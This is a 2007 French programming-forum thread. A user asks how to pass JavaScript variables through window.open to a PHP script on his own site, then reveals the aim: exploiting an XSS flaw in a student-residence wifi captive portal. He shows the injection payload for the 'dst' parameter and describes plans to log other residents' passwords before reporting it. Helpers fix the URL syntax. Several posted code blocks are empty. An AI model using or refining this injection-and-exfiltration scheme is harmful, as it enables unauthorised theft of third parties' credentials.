window.open avec des variables JS en GET - HTML/CSS - Programmation
Marsh Posté le 17-04-2007 à 09:14:31
peut etre que c'est parceque ~ n'est pas transmissible directement dnas une url
essaye ca :
window.open('http://monsite.free.fr/dir/file.php?p=' +escape(var1+ '~' + var2));
Marsh Posté le 17-04-2007 à 12:48:10
non plus.
voilà plus précisément le bout de code qui fonctionne parfaitement:
Code :
|
avec ta technique et la mienne ça ne fonctionne pas, et je doute que ça vient de l'opérateur ~, j'ai aussi essayé avec d'autres, même des lettres, dans le doute...
pour info, ce code alerte très bien la valeur de la variable login par exemple:
Code :
|
Marsh Posté le 17-04-2007 à 12:51:39
c'est à coup sûr une merdouille avec les guillemets mais j'ai essayé pas mal de combinaisons.
Marsh Posté le 17-04-2007 à 18:30:13
je peux quand meme demander pourquoi tu ne veux pas passer deux variables ?
Marsh Posté le 17-04-2007 à 21:33:19
j'ai découvert une grossière faille xss sur le portail captif wifi d'une très très grosse boîte qui distribue ses infrastructures un peu partout en France et dans le monde, notamment à celui de ma résidence universitaire (du CROUS)
Le bout de code JS je le passe dans l'URL, donc je ne peux pas utiliser le & vu qu'il delimite 2 variables GET donc il est "mal traîté" (en fait correctement, mais ça ne permet pas d'exploiter la faille ). donc il suffit d'utiliser un séparateur à la con pour pouvoir faire un explode() en sortie sur le fichier php qui récupèrera distinctement les 2 variables.
Pas de panique, je leur enverrai un email quand je pourrais démontrer la faille avec le log qui contiendra les pass des résidents.
pour être plus précis:
le log in abouti à une page qui se rafraichit automatiquement pour pouvoir accéder au net(wifi). si on quitte le browser, la session est donc tuée, et ça logout automatiquement. l'url est la suivante:
https://pwetpwet.société.prout/secu [...] ogle.fr%2F
comme on peut le voir, on passe une variable dst en GET. sa valeur est reprise dans le fichier sans aucun traitement, sous la forme suivante:
<a href="http://www.google.fr/">cliquez ici ça ouvre en _blank etc blabla</a>
donc il suffit d'écrire après dst= le code JS qui va bien pour détourner le <a href>, par exemple:
blablabla.php?dst=" onclick="javascript:kaka;">pwned!</a><font color="white">
voilà tu sais tout.
Marsh Posté le 18-04-2007 à 00:15:55
tu as essayer de passer & en paramètre ?
ou un urlencode de & ( me souviens plu du code )
Marsh Posté le 18-04-2007 à 11:05:58
tu vois bien que & comporte déjà une esperluette.
encore une fois, celà ne vient pas du séparateur employé.
up.
Marsh Posté le 18-04-2007 à 11:10:13
je ne vois pas l'erreur, mais sympa la faille
Marsh Posté le 20-04-2007 à 02:29:04
Tu récupères ou ton var1 et var2?
Parce que
Code :
|
Fonctionne très bien
Marsh Posté le 20-04-2007 à 08:14:25
sinon tu peux aussi utiliser des separateurs du genre : $$$---$$$
là au moins tu es sur de ne pas avoir de pb
car le tildé ~ pourrait tres bien etre contenu dans tes valeurs
et accessoirement tu fais ca :
http://monsite.free.fr/dir/file.php?p=' +var1+ '&p=' + var2)
donc ton url sera de la forme : http://monsite.free.fr/dir/file.php?p=toto&p=truc
et en PHP quand tu as plusieurs parametres avec le meme nom tu as un array qui est construit, et donc du coup tu as moins de travail à faire
Marsh Posté le 20-04-2007 à 20:45:33
Shinuza a écrit : |
anéfé. J'y retourne dimanche, je regarderai ça de plus près.
sinon, un truc bizarre que j'avais oublié de préciser:
quand je remplace le window.open par un alert() pour voir si les des valeurs sont bien affectées au vars, par exemple via le code suivant:
<a href="" onclick="blablabla; alert(var1);">kaka</a>
et que je survole le lien, dans la barre d'état (barre de statut? status bar?) en bas, je lis le lien avec alert(var1) dedans (mais qui marche très bien quand je clique dessus), alors que je devrais lire dans la status bar la valeur sans même avoir déjà cliqué dessus, c-à-d alert('valeur1'), non?
bon je suis pas très clair mais je serais davantage précis dimanche/lundi avec qqs screenshots.
Marsh Posté le 20-04-2007 à 23:21:31
Ce sont mes mots de tests, y'a un problème?
Marsh Posté le 27-04-2007 à 11:25:17
wtf lol
Marsh Posté le 27-04-2007 à 12:15:37
soit ça me va pas de me coucher à 4h du mat', soit c'est vous qui devriez vous coucher plus tard
rien panné au lien de gatsu
mais surtout, rien panné en ce qui concerne un éventuel trou de sécu
t'as que du code client là, donc ça veut dire que c'est tip top, t'arrive à tripotter du JS à toi, mais... pour en faire quoi ? c'est pas avec ça que tu va récupérer le login des autres (au mieux, tu vas récupérer ton propre login...)
Marsh Posté le 27-04-2007 à 16:15:06
t'inquiète.
Marsh Posté le 17-04-2007 à 00:21:26
yo
y'a une couille.
j'ouvre une popup JS via un lien avec l'attribut onclick. donc j'utilise un code qui ressemble à ça:
<a href="" onclick="window.open('http://monsite.free.fr/dir/file.php');">prout</a>
si je mets ceci:
impeccable, la popup s'ouvre au onclick.
si je mets ceci:
(~ est un séparateur à la con, c'est pour éviter de placer un & qui transmettrais 2 variables bien distinctes, ce que je ne veux pas pour des raisons perso )
de telle sorte que ça me pop la page suivante:
http://monsite.free.fr/dir/file.php?p=valeur1~valeur2
ça n'ouvre plus le popup. var1 et var2 sont parfaitement déclarées et retournent bien les valeurs (j'ai testé avec un alert(); pour voir), donc le problème vient de la syntaxe qui est très certainement incorrecte.
Je sais qu'il est tout à fait possible de passer des vars comme ça en GET via du JS, mais je me souviens plus.
Avec mes remerciements,
---------------
intralase surgery [:cerveau love]